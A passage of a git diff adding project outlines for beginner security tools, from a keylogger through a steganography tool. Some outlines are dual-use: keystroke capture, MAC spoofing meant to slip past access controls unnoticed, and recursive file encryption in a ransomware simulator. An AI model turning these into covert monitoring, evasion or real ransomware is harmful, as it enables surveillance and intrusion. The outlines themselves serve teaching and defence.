This project demonstrates event-driven programming and system-level input monitoring, but must always include clear ethical disclaimers since keyloggers are commonly used maliciously. + +## Step-by-Step Instructions + +1. **Install and understand pynput library** by running `pip install pynput` and exploring its `Listener` class, which monitors keyboard and mouse events system-wide. Read through the documentation to understand how event callbacks work and what information is available from keyboard events (key pressed, key released, special keys, regular characters). + +2. **Create a basic listener that captures keyboard events** by implementing a callback function that triggers whenever a key is pressed. Start simple by just printing each keystroke to the console to verify the listener is working correctly, then expand to capture both regular keys and special keys (Shift, Alt, Ctrl, Enter, Backspace, etc.). + +3. **Implement timestamp logging** so each keystroke is recorded with the date, time, and exact timestamp. Store this data in a structured format (dictionary or tuple) that includes the key pressed and when it was pressed, creating a timeline of keyboard activity that can reveal user patterns and behavior. + +4. **Add a toggle mechanism** using a designated hotkey (like F12 or Ctrl+Shift+Q) that starts and stops the logging without closing the entire program. This allows users to pause logging when discussing sensitive information or switch between different users on the same machine. + +5. **Create file persistence** by writing logged keystrokes to a local text file with organized formatting—include session start/stop times, user information if available, and consider using JSON format for more complex data structures. Implement file rotation to create new log files daily or when reaching a certain file size to prevent one massive log file. + +6. **Add filtering capabilities** to optionally exclude certain keys (like passwords being entered) or specific applications. Implement configuration options that allow users to customize what gets logged—for instance, only logging keystrokes in certain programs or during certain hours. + +7. **Create a data export feature** that can convert logged keystroke data into useful formats (CSV for spreadsheet analysis, JSON for programmatic access, plain text for readability). Add basic analytics like keystroke frequency, most-used keys, and active typing periods to provide insights from the collected data. + +8. **Include prominent ethical warnings and legal disclaimers** in the code comments, README, and console output emphasizing that unauthorized keylogging is illegal in most jurisdictions. Make it absolutely clear this tool is for educational purposes only on systems you own or have explicit permission to monitor—non-compliance could result in serious legal consequences. + +## Key Concepts to Learn +- Event-driven programming and callbacks +- System-level input monitoring +- File I/O and data persistence +- Timestamp and datetime handling +- Configuration management and filtering + +## Deliverables +- Functional keylogger with configurable toggle mechanism +- Timestamped log files with structured data +- Export functionality to multiple formats +- Comprehensive documentation with ethical guidelines and legal warnings diff --git a/SYNOPSES/beginner/MAC.Address.Spoofer.md b/SYNOPSES/beginner/MAC.Address.Spoofer.md new file mode 100644 index 00000000..352616b5 --- /dev/null +++ b/SYNOPSES/beginner/MAC.Address.Spoofer.md @@ -0,0 +1,37 @@ +# MAC Address Spoofer + +## Overview +Create a tool that changes network interface MAC addresses on Linux and Windows systems to test network configuration, improve privacy, or avoid network-based access controls. This project teaches network interface manipulation, platform-specific system administration, and demonstrates why network security can't rely solely on MAC address filtering. + +## Step-by-Step Instructions + +1. **Understand MAC addresses and network interfaces** by learning that Media Access Control (MAC) addresses are hardware identifiers assigned to network interface cards (NICs) on the data link layer. MAC addresses are typically 48 bits represented as six hexadecimal pairs (e.g., 00:1A:2B:3C:4D:5E), and each manufacturer is assigned a specific prefix—MAC addresses are local to the network and not routable on the internet like IP addresses. + +2. **Research platform-specific techniques** for changing MAC addresses: on Linux, network interfaces are typically managed through `ifconfig`, `ip`, or network manager tools; on Windows, registry modifications or driver-level changes may be necessary. Understand that MAC spoofing requires administrator/root privileges and that different Linux distributions and Windows versions have different methods requiring careful implementation. + +3. **Implement Linux MAC address modification** using subprocess calls to `ip link set` or `ifconfig` commands to change the MAC address. First disable the network interface, apply the new MAC address, then re-enable it. Handle different interface naming conventions (eth0, wlan0, enp0s3, etc.) and gracefully report errors if the interface doesn't exist or operations fail. + +4. **Add Windows MAC address modification** support by modifying registry keys or using WMI (Windows Management Instrumentation) to update network adapter settings. Document Windows-specific limitations and compatibility issues across different Windows versions, and note when administrator elevation is required. + +5. **Create MAC address validation** to ensure user-provided addresses are properly formatted and theoretically valid. Verify correct hexadecimal formatting, ensure the address is 48 bits (six octets), optionally validate that the address doesn't conflict with reserved ranges, and handle unicast vs. multicast address requirements. + +6. **Implement automatic backup and restoration** by storing the original MAC address before modification so users can easily revert to factory settings. Create functions to restore the original address, and include a restore-on-exit feature that automatically reverts MAC addresses if the program is interrupted (via signal handlers or try/finally blocks). + +7. **Add realistic MAC address generation** by optionally generating new MAC addresses that match real manufacturer prefixes (OUI - Organizationally Unique Identifier). Parse a database of known manufacturer prefixes and generate convincing MAC addresses that won't raise suspicion if logged—this teaches data realism in security testing scenarios. + +8. **Build comprehensive documentation** explaining how MAC addresses work, discussing legitimate use cases (testing network behavior, privacy on local networks, testing MAC filtering), and including warnings about network policy violations if performed on corporate networks. Provide platform-specific usage examples, explain MAC address limitations for security (MAC filtering is easily spoofed), and discuss how proper network security uses stronger authentication methods beyond MAC addresses. + +## Key Concepts to Learn +- MAC address format and purpose +- Network interface management +- Platform-specific system administration +- Subprocess execution and error handling +- Privilege requirements and security implications +- OUI database and manufacturer prefixes + +## Deliverables +- Linux and Windows MAC address modification support +- Original MAC address backup and restoration +- MAC address validation and formatting +- Realistic MAC address generation with manufacturer prefixes +- Comprehensive error handling and permission checking diff --git a/SYNOPSES/beginner/Metadata.Scrubber.Tool.md b/SYNOPSES/beginner/Metadata.Scrubber.Tool.md new file mode 100644 index 00000000..fd680416 --- /dev/null +++ b/SYNOPSES/beginner/Metadata.Scrubber.Tool.md @@ -0,0 +1,36 @@ +# Metadata Scrubber Tool + +## Overview +Create a comprehensive tool that extracts and removes metadata from various file types (images, PDFs, Office documents) to protect privacy and prevent information leakage. This project teaches file format analysis, metadata extraction techniques, and demonstrates why metadata removal is critical for OPSEC (operational security) in sensitive work environments. + +## Step-by-Step Instructions + +1. **Research metadata in different file types** by understanding what information is embedded in common files: EXIF data in JPEG/PNG images (camera info, GPS coordinates, timestamps), XMP metadata, IPTC data, PDF properties (author, creation date, edit history), and Office document metadata (author names, edit history, tracked changes). Install libraries like `Pillow`, `piexif`, `pdf-metadata`, `python-pptx`, and `openpyxl` to work with different formats. + +2. **Build extraction functionality** that reads metadata from files and displays it in human-readable format, organized by metadata type and field. Start with EXIF data from images using `piexif`, then expand to PDF metadata using `PyPDF2` or `pdfplumber`, and Office documents using their respective libraries. Show users exactly what information is being exposed in their files. + +3. **Implement image metadata scrubbing** using `Pillow` to create new image files that contain only the pixel data, stripping all EXIF, XMP, and IPTC metadata. Preserve the image quality and format while removing sensitive information like GPS coordinates, camera models, software versions, and creation timestamps—test that scrubbed images display identically to originals. + +4. **Add PDF metadata removal** using `PyPDF2` or similar libraries to create new PDF files without metadata properties like author, subject, creator application, creation date, and modification date. Handle potential issues with encrypted PDFs and protected content, providing appropriate error messages and warnings. + +5. **Implement Office document metadata removal** for Word (.docx), Excel (.xlsx), and PowerPoint (.pptx) files by modifying the underlying XML structure or using libraries that provide metadata manipulation APIs. Remove author information, company names, tracked changes, comments, and revision history that could reveal sensitive business information. + +6. **Create batch processing capability** allowing users to process entire directories of mixed file types with a single command. Implement options to process recursively through subdirectories and maintain the original directory structure in a cleaned output folder, enabling users to scrub thousands of files efficiently. + +7. **Add detection and warning for hidden data** including steganographic content, alternative data streams, embedded objects, and other non-obvious metadata storage locations. Warn users about file types that commonly hide information (compressed archives, executable files) and explain the limitations of your scrubber on complex file formats. + +8. **Build a comprehensive reporting interface** that shows detailed before-and-after metadata comparisons, confirms what was removed, and provides verification that sensitive information is genuinely gone. Create detailed documentation explaining metadata risks in different file types, best practices for secure file sharing, and include examples demonstrating why metadata removal matters for privacy and security. + +## Key Concepts to Learn +- File format analysis and structure +- Metadata extraction from multiple formats +- Privacy protection and information leakage risks +- Batch processing and file I/O +- OPSEC principles and secure document handling + +## Deliverables +- Metadata extraction tool showing all embedded information +- Scrubbing functionality for images, PDFs, and Office documents +- Batch processing with recursive directory support +- Before/after verification and detailed reporting +- Educational documentation on metadata risks diff --git a/SYNOPSES/beginner/Network.Traffic.Analyzer.md b/SYNOPSES/beginner/Network.Traffic.Analyzer.md new file mode 100644 index 00000000..02eaa424 --- /dev/null +++ b/SYNOPSES/beginner/Network.Traffic.Analyzer.md @@ -0,0 +1,36 @@ +# Network Traffic Analyzer + +## Overview +Build a packet analysis tool using Scapy that captures and analyzes network traffic to visualize protocol distribution, identify top communication partners, and measure bandwidth usage. This project teaches packet-level network analysis, data visualization, and network troubleshooting techniques essential for network security and infrastructure management. + +## Step-by-Step Instructions + +1. **Install Scapy and understand packet structures** by running `pip install scapy` and learning how to capture packets from network interfaces using `sniff()`. Understand the OSI model layers and how different protocols (TCP, UDP, IP, DNS, HTTP, ICMP) are structured as nested packet layers—explore Scapy's packet dissection capabilities to understand what information is available from raw network packets. + +2. **Implement packet capture functionality** that listens on a specified network interface (or all interfaces) and captures live packets for a specified duration or packet count. Handle the complexities of packet capture (may require root/administrator privileges on some systems) and implement proper error handling for permissions, offline pcap files, or unavailable network interfaces. + +3. **Build protocol analysis and statistics** by parsing captured packets to categorize them by protocol type (TCP, UDP, ICMP, DNS, HTTP, HTTPS, etc.). Count packets per protocol and track statistics like total protocol bytes, percentage of traffic, and packet counts to understand the traffic composition of your network. + +4. **Identify and track "top talkers"** by extracting source and destination IP addresses from packets and tallying communication volume between IP pairs. Track both incoming and outgoing traffic separately, rank the top communicating IP addresses, and calculate how much data was exchanged with each host to identify the busiest network participants. + +5. **Calculate bandwidth usage statistics** by tracking bytes transferred per unit time and over the entire capture period. Implement running bandwidth calculations (e.g., bytes per second) to show traffic spikes over time, and calculate average bandwidth usage to understand typical network load patterns. + +6. **Implement filtering capabilities** allowing users to capture and analyze specific types of traffic—filter by protocol (show only DNS, HTTP, TCP, etc.), source/destination IP addresses, or port numbers. Create a flexible filter syntax that users can specify from the command line or configuration file. + +7. **Add data visualization** using `matplotlib`, `plotly`, or `bokeh` to create charts showing protocol distribution (pie chart), bandwidth usage over time (line graph), and top talkers (bar chart). Export visualizations as images or create interactive HTML dashboards for better data exploration and presentation. + +8. **Create CSV/JSON export functionality** that outputs captured packet data and analysis statistics in structured formats suitable for further analysis in spreadsheets, databases, or custom analysis tools. Include detailed documentation explaining what each field means and provide example analysis workflows for common network troubleshooting scenarios (finding bandwidth hogs, detecting unusual protocols, investigating network issues). + +## Key Concepts to Learn +- Packet capture and network sniffing +- OSI model and protocol structures +- Data aggregation and statistical analysis +- Visualization libraries and dashboard creation +- Network troubleshooting methodology + +## Deliverables +- Live packet capture from network interfaces +- Protocol distribution analysis and statistics +- Top talkers identification with bandwidth tracking +- Flexible filtering by protocol, IP, and port +- Visualization dashboards and export formats diff --git a/SYNOPSES/beginner/Phishing.URL.Detector.md b/SYNOPSES/beginner/Phishing.URL.Detector.md new file mode 100644 index 00000000..4b4c681e --- /dev/null +++ b/SYNOPSES/beginner/Phishing.URL.Detector.md @@ -0,0 +1,38 @@ +# Phishing URL Detector + +## Overview +Build a tool that analyzes URLs for common phishing indicators like suspicious TLDs, typosquatting patterns, URL shorteners, and checks against safe browsing APIs to calculate a risk score. This project teaches URL analysis, API integration, threat intelligence, and demonstrates techniques for identifying phishing attacks before users click malicious links. + +## Step-by-Step Instructions + +1. **Learn URL structure and phishing indicators** by understanding that phishing URLs often use suspicious top-level domains (TLDs), homograph attacks (lookalike characters: rn vs m), subdomain manipulation (legitimate-looking subdomains hiding malicious hosts), and URL shorteners hiding actual destinations. Study common phishing patterns like using IP addresses instead of domain names, unusual ports, and excessive URL length—create a reference database of known phishing techniques. + +2. **Implement URL parsing and validation** using Python's `urllib.parse` to break URLs into components (scheme, netloc, path, query, fragment), validating proper formatting and extracting the actual destination if shorteners are involved. Build logic to detect encoded characters, unusual character combinations, and structural anomalies that might indicate obfuscation or evasion techniques. + +3. **Create a TLD and domain reputation checker** that maintains or accesses a database of suspicious top-level domains and newly registered domains known for phishing. Check whether the domain was recently registered (domains aged less than 6 months are higher risk) and whether it's registered with anonymized WHOIS information (privacy service registration is common in phishing domains). + +4. **Implement typosquatting detection** by comparing the domain name against popular legitimate domains using string similarity algorithms (Levenshtein distance, fuzzy matching). Identify common misspellings and near-homographs (0 for O, 1 for l, rn for m) that could fool users into visiting malicious sites resembling legitimate services they know. + +5. **Integrate with safe browsing APIs** like Google Safe Browsing or other threat intelligence services to check whether URLs are known to be malicious or phishing targets. These services maintain lists of known bad URLs accumulated through user reports and automated scanning—implement API calls with proper error handling for rate limiting and service unavailability. + +6. **Build domain-based checks** extracting and analyzing the domain name and subdomain structure: verify that the domain is registered to a legitimate organization, check for suspicious subdomains (e.g., www-secure-verify-account.badphishing.com mimicking legitimate verification URLs), and flag unusual port numbers or protocols. + +7. **Create a risk scoring algorithm** that combines multiple detection methods into a comprehensive risk score (0-100) synthesizing results from TLD checks, registrar reputation, safe browsing API results, typosquatting detection, and structural analysis. Categorize URLs as safe (green), suspicious (yellow), or dangerous (red) with explanations of which factors contributed to the risk assessment, enabling users to understand the reasoning. + +8. **Build a command-line and/or web interface** accepting individual URLs or bulk URL lists for analysis, generating detailed reports showing risk scores, identified indicators, recommended actions, and educational information. Create comprehensive documentation explaining phishing indicators, providing examples of legitimate vs. suspicious URLs, and including guidance on what to do if a phishing URL is detected (reporting mechanisms, secure notification of users). + +## Key Concepts to Learn +- URL structure and parsing +- Phishing techniques and evasion methods +- API integration and threat intelligence +- String similarity and pattern matching +- Risk scoring and algorithm design +- Bulk analysis and reporting + +## Deliverables +- URL structure analysis and validation +- Phishing indicator detection (TLD, typosquatting, suspicious patterns) +- Safe Browsing API integration +- Domain reputation and WHOIS analysis +- Risk scoring algorithm (0-100) +- Bulk URL analysis with detailed reporting diff --git a/SYNOPSES/beginner/Ransomware.Simulator.md b/SYNOPSES/beginner/Ransomware.Simulator.md new file mode 100644 index 00000000..9c372d88 --- /dev/null +++ b/SYNOPSES/beginner/Ransomware.Simulator.md @@ -0,0 +1,38 @@ +# Simple Ransomware Simulator + +## Overview +Build an educational tool that safely demonstrates file encryption without causing actual damage, allowing security professionals to understand ransomware mechanics, test backup/recovery procedures, and train staff on ransomware awareness. This project teaches encryption implementation, secure file handling, and demonstrates ransomware attack workflows for defensive purposes. + +## Step-by-Step Instructions + +1. **Establish ethical boundaries and safety mechanisms** by creating a tool that works only on specifically designated test directories and cannot propagate to system files or other critical locations. Build in extensive warnings, confirmations, and ability to run in dry-run mode showing what would be encrypted without actually modifying files. Implement audit logging capturing every action for accountability and post-simulation analysis. + +2. **Implement encryption using Python's cryptography library** (specifically `cryptography.fernet` or `cryptography.hazmat.primitives.ciphers`) to encrypt test files with strong symmetric encryption. Generate and store encryption keys in a controlled location, implement proper key management, and ensure encryption is genuinely strong (not simulated/weak encryption). Test encryption/decryption on sample files to verify the mechanism works correctly. + +3. **Create isolated test environment setup** that prepares a designated directory structure for simulation: creates subdirectories with various file types (documents, images, databases), populates with realistic test data that looks like sensitive information, and establishes baseline file hashes for verification. Include instructions for users to test their backup/recovery procedures using this controlled test environment. + +4. **Build file encryption logic** that recursively traverses the test directory structure, encrypts each file using the generated key, and optionally renames files to include encryption extension (e.g., .encrypted) mimicking real ransomware. Implement proper error handling so that if encryption fails on any file, the simulator can be stopped and rolled back, preventing accidental damage from bugs. + +5. **Implement decryption capability** allowing authorized users to recover encrypted test files when the exercise is complete. Create a decryption utility requiring the encryption key, providing straightforward recovery process. Use this as educational moment: explain that real ransomware victims either pay ransoms (often ineffective) or lose data, while this controlled simulation provides recovery automatically. + +6. **Add educational content and ransom note simulation** creating a text file that displays during/after encryption explaining how ransomware works, what just happened in the simulation, what recovery procedures should be followed, and key takeaways about prevention (backups, updates, email security). Make educational content the focus rather than ransom demands—this emphasizes defensive goals. + +7. **Create comprehensive reporting and analysis tools** generating reports on what was encrypted, which files were affected, encryption statistics, time elapsed, and recovery verification. Build dashboards showing encryption progress, recovery status, and lessons learned from the simulation exercise, suitable for post-exercise debriefs with security teams. + +8. **Build extensive documentation** emphasizing that this tool is for educational and authorized testing only—never use on systems without explicit permission from system owners. Include detailed setup instructions, disaster recovery procedures, staff training guidelines showing how to use the simulator for ransomware awareness training, and legal warnings about unauthorized testing. Compare to real ransomware techniques, discuss actual ransomware examples and their impact, and explain how understanding ransomware mechanics improves defense strategies. + +## Key Concepts to Learn +- Symmetric encryption and key management +- File system operations and directory traversal +- Safe simulation practices and rollback capability +- Educational security demonstrations +- Backup and disaster recovery testing +- Incident response and recovery procedures + +## Deliverables +- Controlled test environment setup +- File encryption with strong symmetric algorithms +- File decryption and recovery capability +- Encryption progress tracking and reporting +- Educational content and ransom notes +- Comprehensive audit logging and analysis diff --git a/SYNOPSES/beginner/SSH.Brute.Force.Detector.md b/SYNOPSES/beginner/SSH.Brute.Force.Detector.md new file mode 100644 index 00000000..43533ffd --- /dev/null +++ b/SYNOPSES/beginner/SSH.Brute.Force.Detector.md @@ -0,0 +1,38 @@ +# SSH Brute Force Detector + +## Overview +Build a security tool that monitors system authentication logs for SSH brute force attack patterns, automatically detecting repeated failed login attempts and responding by adding offending IPs to firewall rules. This project teaches log file parsing, threat pattern recognition, and demonstrates automated security response capabilities used in production systems. + +## Step-by-Step Instructions + +1. **Understand SSH authentication logs** on different systems—on Linux, failed SSH attempts are typically logged to `/var/log/auth.log` (Debian/Ubuntu) or `/var/log/secure` (RedHat/CentOS) with entries showing source IP, username attempted, and authentication status. Learn the log format patterns for successful logins, failed password attempts, and invalid usernames, then build log line parsers that extract relevant information (timestamp, source IP, username, result status). + +2. **Implement log file monitoring and parsing** using Python to read log files and extract failed SSH login attempts, including source IP addresses and timestamps. Handle the complexity of log rotation (logs are archived and new ones created) and ensure continuous monitoring even as log files change, implementing state tracking to avoid re-reading lines already processed. + +3. **Build brute force pattern detection** by tracking failed login attempts per source IP over time windows (e.g., 5 failed attempts in 10 minutes indicates an attack). Implement configurable thresholds for what constitutes an attack, distinguishing between user mistakes (occasional failed logins from legitimate IPs) and actual brute force (many failed attempts from unexpected sources). + +4. **Create IP reputation tracking** by maintaining a database of known-good IPs (internal networks, remote offices, trusted partners) that should be excluded from blocking, and a list of known-bad IPs that have shown attack behavior. Implement whitelist/blacklist functionality preventing false positives where legitimate users get blocked after mistyping passwords a few times. + +5. **Implement automatic firewall rule addition** using iptables (Linux), UFW, or similar tools to dynamically block attacking IPs. Execute firewall commands programmatically when thresholds are exceeded, adding rules that drop all packets from the attacking source or rate-limit connections. Build in safeguards preventing accidental self-blocking (blocking the admin's own IP, blocking critical IPs). + +6. **Add escalating response mechanisms** implementing multi-stage responses: first alert administrators of potential attack, then rate-limit connections from the source IP, then block the IP entirely if attacks continue. Include automatic unblocking after a configurable time period (24-48 hours) to allow IPs to be whitelisted, and implement manual unblock capabilities for legitimate IPs accidentally blocked. + +7. **Create alerting and logging functionality** that notifies administrators when attacks are detected through email, Slack, system logs, or dashboard alerts. Log all detected attacks, blocking actions, and false positives to a database or file for audit trails, compliance documentation, and incident investigation—include details about the attacking IP, targeted usernames, attempt frequency, and response actions taken. + +8. **Build comprehensive documentation** explaining SSH security best practices, discussing brute force attack patterns and mitigation strategies, and providing deployment instructions with security considerations. Discuss alternative protections (key-based authentication, fail2ban integration, VPN access restrictions), explain how to configure sensitivity to avoid false positives, and provide examples of logs from actual brute force attacks for analysis and training. + +## Key Concepts to Learn +- Log file parsing and text analysis +- State tracking and continuous monitoring +- Pattern recognition for threat detection +- Firewall integration and automation +- Alerting and incident response +- Whitelist/blacklist management + +## Deliverables +- SSH log file parser and monitor +- Brute force pattern detection with configurable thresholds +- Automatic firewall rule generation and management +- IP whitelist/blacklist functionality +- Multi-stage escalating response +- Alert notifications and attack logging diff --git a/SYNOPSES/beginner/Security.News.Scraper.md b/SYNOPSES/beginner/Security.News.Scraper.md new file mode 100644 index 00000000..b07b821c --- /dev/null +++ b/SYNOPSES/beginner/Security.News.Scraper.md @@ -0,0 +1,38 @@ +# Basic Web Scraper for Security News + +## Overview +Build a web scraper that automatically collects cybersecurity news and vulnerability information from reputable sources like Krebs on Security, The Hacker News, and Bleaching Computer, extracting CVEs and displaying a dashboard of latest threats. This project teaches web scraping, data parsing, database storage, and demonstrates how to build automated threat monitoring systems. + +## Step-by-Step Instructions + +1. **Select target news sources and understand their structure** by manually visiting sites like Krebs on Security, The Hacker News, Bleeping Computer, and SecurityWeek to understand their HTML structure, content organization, and where vulnerability information is typically published. Check each site's robots.txt and terms of service to ensure scraping is permitted, and consider using their RSS feeds as a more reliable alternative to HTML scraping. + +2. **Implement web scraping using BeautifulSoup** by installing `beautifulsoup4` and `requests` libraries, then creating functions that fetch website HTML and parse it to extract article titles, URLs, publication dates, and content summaries. Use CSS selectors or find methods to locate relevant elements, handling variations in HTML structure across different websites and implementing error handling for failed requests or malformed HTML. + +3. **Build CVE extraction functionality** by implementing regex patterns or text matching to identify CVE identifiers (format: CVE-YYYY-XXXXX) within article text and titles. Extract associated vulnerability descriptions, affected software names, severity information, and CVSS scores where available, creating structured records linking articles to the CVEs they mention. + +4. **Create a SQLite database** to store scraped articles with fields for source URL, publication date, article title, summary, full text, associated CVEs, severity scores, and scrape timestamp. Design the database schema to support efficient querying and prevent duplicate articles through unique constraints—implement database transactions to ensure data integrity even if scraping is interrupted. + +5. **Implement automatic scheduled scraping** using `APScheduler` or system scheduling tools (cron on Linux, Task Scheduler on Windows) to run the scraper at regular intervals (daily, multiple times daily). Build logic to detect and skip duplicate articles through URL matching or content hashing, ensuring your database doesn't fill with repeated stories. + +6. **Create a search and filtering interface** allowing users to query stored articles by date range, keyword, CVE identifier, source, or severity level. Build a command-line interface or simple web dashboard (using Flask) that displays articles in ranked order by publication date or estimated relevance based on severity scores and keyword matches. + +7. **Add notification functionality** to alert users about new vulnerabilities matching specified criteria—implement filters for specific software names, minimum severity thresholds (e.g., alert on CVSS ≥ 7.0), or custom keywords. Send notifications through email, Slack, or webhook services, enabling rapid response when critical vulnerabilities in your organization's software stack are disclosed. + +8. **Build comprehensive documentation** explaining web scraping ethics and legal considerations, providing configuration examples for different news sources, and including setup instructions for scheduled scraping. Discuss alternative approaches like RSS feed consumption, explain data quality considerations (distinguishing official CVE announcements from security research), and provide examples of threat intelligence workflows integrating your scraper with incident response processes. + +## Key Concepts to Learn +- Web scraping with BeautifulSoup and requests +- HTML parsing and CSS selectors +- Regular expressions for pattern matching +- Database design and SQL queries +- Scheduled task automation +- Data extraction and structuring + +## Deliverables +- Web scraper for multiple security news sources +- CVE identification and extraction from articles +- SQLite database for article and CVE storage +- Search and filtering interface +- Scheduled scraping with duplicate detection +- Notification system for critical vulnerabilities diff --git a/SYNOPSES/beginner/Simple.Port.Scanner.md b/SYNOPSES/beginner/Simple.Port.Scanner.md new file mode 100644 index 00000000..e1b0e9dd --- /dev/null +++ b/SYNOPSES/beginner/Simple.Port.Scanner.md @@ -0,0 +1,34 @@ +# Simple Port Scanner + +## Overview +Build a Python script that efficiently scans common ports on a target IP address to identify which services are running and responding. This project teaches socket programming, concurrent execution, and basic network reconnaissance techniques that are fundamental to cybersecurity work. + +## Step-by-Step Instructions + +1. **Set up your Python environment** by installing any required libraries (primarily `socket`, which comes built-in, but you may want `asyncio` for concurrent operations). Create a new project directory and start with a basic script that imports these modules and validates command-line arguments for target IP and port range. + +2. **Implement sequential socket connections** to individual ports by creating a function that attempts to connect to a specific IP and port combination using the `socket` library. Set a timeout value (2-3 seconds) so the script doesn't hang on unresponsive ports, and catch connection exceptions to gracefully handle failures. + +3. **Add threading or asyncio for concurrent scanning** to dramatically speed up the process, since scanning 65,535 ports sequentially could take hours. Create a thread pool or async task group that manages multiple concurrent connections, ensuring you don't overwhelm the target system by limiting concurrent connections to a reasonable number (e.g., 50-100 threads). + +4. **Implement banner grabbing** to identify services by attempting to read response data from open ports—many services send identifying information when you connect (like "SSH-2.0-OpenSSH_7.4"). Store this banner data along with port information for better service identification. + +5. **Add service detection logic** by cross-referencing known port numbers with a common services database (you can hardcode a dictionary of standard port-to-service mappings like 22→SSH, 80→HTTP, 443→HTTPS, 3306→MySQL, etc.). + +6. **Create a clean output format** that displays results in an organized table or list showing port number, status (open/closed), protocol, and detected service. Use color coding (green for open, red for closed) to make results easier to scan quickly. + +7. **Implement command-line argument parsing** to make your tool flexible, accepting parameters like target IP, port range (e.g., 1-1024 for common ports or 1-65535 for full scan), and timeout values. Add a help menu that explains how to use the tool properly. + +8. **Test your scanner thoroughly** on localhost first (your own machine) using test servers or services you know are running. Document the limitations and best practices, including warnings that port scanning may violate acceptable use policies on networks you don't own—stress that this tool should only be used on systems and networks you have explicit permission to scan. + +## Key Concepts to Learn +- Socket programming and TCP/IP connections +- Threading and concurrency for performance optimization +- Error handling and timeouts +- Banner grabbing for service detection +- Command-line interfaces and argument parsing + +## Deliverables +- Functional Python script with concurrent scanning capability +- Output showing open ports with detected services +- Documentation with usage examples and ethical guidelines diff --git a/SYNOPSES/beginner/Simple.Vulnerability.Scanner.md b/SYNOPSES/beginner/Simple.Vulnerability.Scanner.md new file mode 100644 index 00000000..88682d0a --- /dev/null +++ b/SYNOPSES/beginner/Simple.Vulnerability.Scanner.md @@ -0,0 +1,36 @@ +# Simple Vulnerability Scanner + +## Overview +Build a Python script that audits installed software versions against known vulnerability databases to identify security risks. This project teaches security assessment techniques, CVE research, package management, and automated vulnerability detection—crucial skills for maintaining secure systems and managing vulnerability risk. + +## Step-by-Step Instructions + +1. **Integrate CVE database access** by using existing tools and APIs like `pip-audit` for Python packages or connecting to public CVE databases (NVD, CVE Details, etc.). Understand how CVEs (Common Vulnerabilities and Exposures) are identified, scored using CVSS (Common Vulnerability Scoring System), and tracked across different software versions—research how to programmatically query these databases or use existing vulnerability scanning libraries. + +2. **Parse system package managers** to enumerate all installed software on the target system. For Linux systems, interact with package managers like `apt`, `yum`, or `pacman` using subprocess calls to list installed packages and their versions. For Python environments, use `pip list` or inspect the pip directory structure to enumerate dependencies with their exact version numbers. + +3. **Create a local vulnerability database** or mapping that lists common software packages and their known vulnerable versions. This can start as a simple JSON file or Python dictionary that maps package names to CVE records and affected version ranges—this gives you flexibility to customize the scanner and update it independently of external APIs. + +4. **Implement version comparison logic** that determines whether an installed package version falls within a vulnerable range specified in your database. Handle version number complexities like semantic versioning (1.2.3), pre-release versions, and version ranges—use libraries like `packaging.version` to reliably compare version numbers. + +5. **Flag vulnerable packages and calculate risk scores** by creating output that clearly identifies which packages are vulnerable, which CVEs affect them, and the CVSS severity score for each vulnerability. Organize findings by severity (critical, high, medium, low) to help users prioritize remediation efforts on the most dangerous vulnerabilities first. + +6. **Suggest remediation actions** including available updates, security patches, or replacement packages when vulnerabilities are found. Provide actionable commands users can run to update vulnerable packages to patched versions, and note when no patch is available yet or when major version upgrades are required. + +7. **Generate comprehensive reports** in multiple formats (plain text, JSON, CSV) that document all findings, vulnerability details, severity scores, affected systems, and remediation recommendations. Include metadata like scan date, system information, and total vulnerability counts to make reports suitable for executive review or compliance documentation. + +8. **Create automated scanning workflows** that can run on a schedule (via cron or task scheduler) to periodically check systems for new vulnerabilities. Implement notification systems (email alerts, Slack messages, webhook calls) to notify administrators when critical vulnerabilities are discovered, enabling rapid response to emerging threats. + +## Key Concepts to Learn +- CVE research and vulnerability databases +- System package management and enumeration +- Version comparison and semantic versioning +- CVSS scoring and risk assessment +- Automated security scanning and reporting + +## Deliverables +- Functional vulnerability scanner for installed packages +- Local CVE database with common vulnerabilities +- Risk scoring and severity classification +- Multi-format reporting capabilities +- Remediation recommendations and update guidance diff --git a/SYNOPSES/beginner/Steganography.Tool.md b/SYNOPSES/beginner/Steganography.Tool.md new file mode 100644 index 00000000..f5d07b94 --- /dev/null +++ b/SYNOPSES/beginner/Steganography.Tool.md @@ -0,0 +1,37 @@ +# Steganography Tool + +## Overview +Create a tool that hides secret messages inside image files using least significant bit (LSB) steganography, allowing covert communication through seemingly innocent images. This project teaches data encoding techniques, image file formats, and demonstrates how information can be secretly embedded and extracted from digital media. + +## Step-by-Step Instructions + +1. **Understand LSB steganography principles** by learning that each pixel in an image is represented by color values (typically 0-255 for each RGB channel), and the least significant bit is the rightmost bit in the binary representation—changing it minimally affects the visible image but can encode data. For example, if a red channel value is 255 (binary: 11111111), changing the LSB to create 254 (binary: 11111110) is imperceptible to human eyes. + +2. **Research image file formats** (PNG and BMP are ideal for LSB steganography because they're lossless—JPEG compression would destroy your hidden message). Understand how pixel data is stored in these formats: BMP stores pixel data directly, PNG uses compression but preserves data, and JPEG uses lossy compression making it unsuitable. Implement library support for reading and writing these formats using `Pillow`. + +3. **Implement message encoding functionality** that converts your secret message to binary, then hides those bits in the LSB of image pixels. Process pixels sequentially (typically left-to-right, top-to-bottom), replace the LSB of each color channel with message bits, and reconstruct the modified image with the hidden data embedded. Include a capacity calculator showing how much data can fit in a given image. + +4. **Build message extraction capability** that reverses the encoding process—read the LSB from each pixel in sequence and reconstruct the original binary message. Implement length encoding (store the message length in the first few pixels) so the decoder knows when to stop reading and can properly handle variable-length messages. + +5. **Add password protection** by encrypting the secret message before encoding it into the image—use symmetric encryption like AES to encrypt the plaintext message, then encode the encrypted bytes using LSB steganography. This provides two layers of security: even if someone extracts the hidden data, they can't read it without the password. + +6. **Support both PNG and BMP formats** by implementing format-specific handling in your library interactions. Add automatic format detection for input images and let users specify output format—include guidance on which formats are appropriate for steganography and warnings about using lossy compression formats. + +7. **Create a clean command-line interface** with options for encoding (input image, message text, output filename, optional password) and decoding (steganographic image, optional password). Implement verbose mode showing encoding/decoding progress, capacity information, and data verification to ensure the hidden message was correctly embedded and extracted. + +8. **Build comprehensive documentation** explaining the steganography concept, discussing LSB technique limitations and detection methods (steganalysis), providing examples of encoding/decoding images, and explaining practical use cases (covert communication in restricted environments). Include warnings about legal implications of hidden communications, discuss how steganography differs from encryption, and note that LSB steganography is trivial to detect with proper tools but effective for basic covert communication. + +## Key Concepts to Learn +- Least significant bit (LSB) concept and manipulation +- Image file formats and pixel data representation +- Data encoding and binary operations +- File I/O and image manipulation libraries +- Encryption integration for enhanced security +- Steganography detection and limitations + +## Deliverables +- LSB steganography encoder/decoder +- Support for PNG and BMP image formats +- Password protection with encryption 